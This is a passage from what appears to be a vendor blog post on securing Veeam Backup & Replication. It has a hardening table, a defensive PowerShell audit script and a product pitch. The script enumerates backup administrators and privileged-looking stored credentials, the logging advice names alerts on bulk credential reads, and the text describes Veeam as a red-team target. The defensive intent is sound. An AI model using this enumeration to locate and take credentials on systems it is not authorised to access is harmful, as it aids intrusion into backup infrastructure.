| Encrypt backup files | High | Enable backup file encryption in Veeam job settings. Store the encryption password in an external password manager, not in Veeam's credential store. Disable Enterprise Manager password loss recovery if not required. |
| Restrict PostgreSQL access | High | Configure pg_hba.conf to allow connections only from 127.0.0.1. Change the default PostgreSQL service account password and store it in a PAM solution. |
| Principle of least privilege for cloud keys | High | Cloud IAM keys stored in Veeam should have write-only access to the backup bucket — never read access to production resources. Use dedicated IAM users/service accounts for backup with minimal permissions. |
| Disable vPower NFS if unused | Medium | If instant VM recovery is not used, disable the vPower NFS service in Veeam configuration. If required, restrict access to the backup network segment only. |
| Windows firewall on backup server | Medium | Enable the Windows Firewall with a restrictive ruleset on the Veeam server. Restrict SMB (445) inbound to IT management hosts only. Block PowerShell remoting from non-admin subnets. |
| Enable Veeam audit logging | Medium | Enable all Veeam audit logs and forward to SIEM via Windows Event Forwarding. Alert on bulk credential reads, REST API access outside business hours, and new managed server additions. |
| Regular configuration review | Medium | Periodically audit the Veeam credential store — remove unused credentials. Review which accounts have Veeam Backup Administrator role. Use Veeam's built-in roles to limit access by function. |
# Quick security posture check on Veeam Backup server (run as local admin)
# Requires Veeam PowerShell snap-in
Add-PSSnapin VeeamPSSnapIn -ErrorAction SilentlyContinue
# Check Veeam version
$version = [Veeam.Backup.Core.SBackupOptions]::VBRVersion
Write-Host "[*] Veeam Version: $version"
if ($version -lt [Version]"12.2.0.334") {
Write-Host "[!] VULNERABLE: Version is below 12.2 — CVE-2023-27532 and CVE-2024-40711 may apply" -ForegroundColor Red
}
# Check for accounts with Veeam Backup Administrator role
$admins = Get-VBRUserRole | Where-Object {$_.Role -eq "BackupAdministrator"}
Write-Host "[*] Veeam Backup Administrators:"
$admins | ForEach-Object { Write-Host " $($_.Name)" }
# Check credential store for domain admin accounts
$creds = Get-VBRCredentials
$domainAdmins = $creds | Where-Object {$_.Name -match "Administrator|admin|svc"}
Write-Host "[!] Potentially privileged credentials in store: $($domainAdmins.Count)"
# Check if encryption is enabled on backup jobs
$jobs = Get-VBRJob
$unencrypted = $jobs | Where-Object {-not $_.BackupStorageOptions.StorageEncryptionEnabled}
Write-Host "[!] Jobs without encryption: $($unencrypted.Count)"
$unencrypted | Select-Object Name | Format-Table
# Check PostgreSQL binding (should be localhost only)
netstat -ano | findstr "5432"
# Check vPower NFS service status
Get-Service VeeamNFSSvc | Select-Object Name, Status, StartType
Ironimo scans your Veeam Backup & Replication deployment for CVEs, misconfigured credential stores, unauthenticated API exposure, and insecure repository configurations — giving your team actionable findings without manual enumeration.
Start free scanVeeam Backup & Replication is a high-value target in any penetration test or red team engagement. Its credential store aggregates privileged access to every protected system, its REST API has shipped with critical unauthenticated vulnerabilities (CVE-2023-27532, CVSS 7.5), and its deserialization attack surface yielded a CVSS 9.8 RCE (CVE-2024-40711) exploited by ransomware groups within weeks of disclosure.
Key takeaways for security teams: